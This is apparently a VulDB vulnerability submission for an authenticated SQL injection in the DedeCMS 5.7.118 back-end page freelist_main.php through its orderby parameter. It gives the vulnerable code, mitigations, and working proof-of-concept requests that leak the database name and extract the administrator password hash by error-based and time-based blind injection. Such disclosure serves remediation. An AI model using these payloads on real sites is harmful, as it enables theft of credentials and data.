提交 #944756: Shanghai Zhuozhuo Network Technology Co.,Ltd. DedeCMS 5.7.118 CWE-1336

# VulDB Submission — DedeCMS freelist_main.php SQL Injection
**Vendor:** DedeCMS (DesDev Inc.)
**Product:** DedeCMS (织梦内容管理系统 / Zend Content Management System)
**Version:** 5.7.118 (V57_UTF8_SP2_118, build 20250730)
**Class:** CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) — SQL Injection
---
## Description
**Summary**
DedeCMS 5.7.118 is vulnerable to SQL injection in the back-end FreeList management page `dede/freelist_main.php`. The `orderby` request parameter is concatenated directly into the `ORDER BY` clause of a SQL query without any whitelist or type validation. Additionally, the back-end bootstrap `dede/config.php` sets `$dsql->safeCheck = FALSE;`, which globally disables DedeCMS' SQL-injection filter (CheckSql), making `union`, `sleep`, `benchmark` and `updatexml` all usable. Any back-end account holding the `c_FreeList` privilege can inject arbitrary SQL via `orderby` to read or modify arbitrary database content, including administrator password hashes and sensitive configuration. The vulnerability has been confirmed by error-based injection, which returned the database name `dedecms`.
**Vulnerable code:** `dede/freelist_main.php` lines ~12, 21, 81
```php
CheckPurview('c_FreeList'); // requires c_FreeList back-end privilege
...
if(empty($orderby)) $orderby = 'aid'; // $orderby comes from the request (auto-registered global)
...
// inside GetTagList():
$dsql->SetQuery("Select aid,title,templet,click,edtime,namerule,listdir,defaultpage,nodefault
From #@__freelist $addsql order by $orderby desc limit $start,$pagesize ");
$dsql->Execute();
```
`$orderby` is taken directly from `$_GET` (auto-registered as a global variable and passed through `addslashes`) with no whitelist and no type validation.
**Injection filter disabled:** `dede/config.php:17`
```php
$dsql->safeCheck = FALSE; // disables CheckSql for the whole back-end
```
This causes `GetOne/Execute/ExecuteNoneQuery` to skip the DedeSQL dangerous-keyword checks, so `union`, `sleep`, `benchmark`, `updatexml`, etc. can be used directly.
**Injection details**
The injection point is in the `ORDER BY` clause, and parameter values are escaped with `addslashes` (single quote `'` becomes `\'`). Quoted string literals are therefore broken; payloads must avoid single quotes:
- Error-based: `updatexml(1,concat(0x7e,<subquery>,0x7e),1)`
- Hex string literals: `LIKE 0x706f635f7825` (equivalent to `'poc_x%'`)
- Time-based blind: `(SELECT SLEEP(5))`
On the tested environment `mysqli` errors are echoed, so error-based injection directly leaks data.
**Proof of Concept**
Step 1 — error-based injection (confirmed):
```
GET /dede/freelist_main.php?dopost=getlist&orderby=updatexml(1,concat(0x7e,database(),0x7e),1)&pageno=1&pagesize=18 HTTP/1.1
Cookie: PHPSESSID=<admin_session>
Referer: http://<target>/dede/freelist_main.php
```
Response:
```
XPATH syntax error: '~dedecms~'
```
`~dedecms~` is the leaked `database()`, proving the injection and its ability to echo data.

Step 2 — extract data (e.g. administrator password hash):

```
GET /dede/freelist_main.php?dopost=getlist&orderby=updatexml(1,concat(0x7e,(SELECT pwd FROM dede_admin LIMIT 1),0x7e),1)&pageno=1&pagesize=18
```
Step 3 — time-based blind example:
```
GET /dede/freelist_main.php?dopost=getlist&orderby=(SELECT IF(SUBSTRING((SELECT pwd FROM dede_admin LIMIT 1),1,1)=0x61,SLEEP(5),0))&pageno=1&pagesize=18
```
**Impact**
Any back-end account with `c_FreeList` can read arbitrary database content, including administrator password hashes (`dede_admin.pwd`), member data, business data and sensitive configuration (SMTP / payment credentials). May combine with `INTO OUTFILE` (if the MySQL user has `FILE` privilege) or file-write flaws to write files and escalate privileges. Because `safeCheck` is globally disabled, the exploitation surface is broad.
**Mitigation**
1. Use a whitelist for `orderby` — only allow predefined sort fields (e.g. `aid`, `title`, `click`, `edtime`); fall back to a default otherwise.
2. Validate the sort direction (`asc`/`desc`) as well, allowing only fixed values.
3. Do not disable `safeCheck` globally; if it must be disabled, restrict it to the minimal scope and validate all inputs.
4. Migrate the database layer to PDO/mysqli prepared statements to eliminate concatenation-based injection.
5. Apply least privilege to back-end roles and limit the allocation of `c_FreeList`.
**References**
- DedeCMS: http://www.dedecms.com
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
> Reproduction was performed on an authorized self-hosted lab environment. Reported for vulnerability disclosure and remediation purposes.

• 用户: BlackSpdier (UID 89912)
• 提交: 2026-08-24 14時26分 (27 日前)
• 管理: 2026-09-19 15時08分 (26 days later)
• 状态: 重复
• VulDB条目: 337710 [DedeCMS 直到 5.7.118 /freelist_main.php orderby SQL注入]
• 积分: 0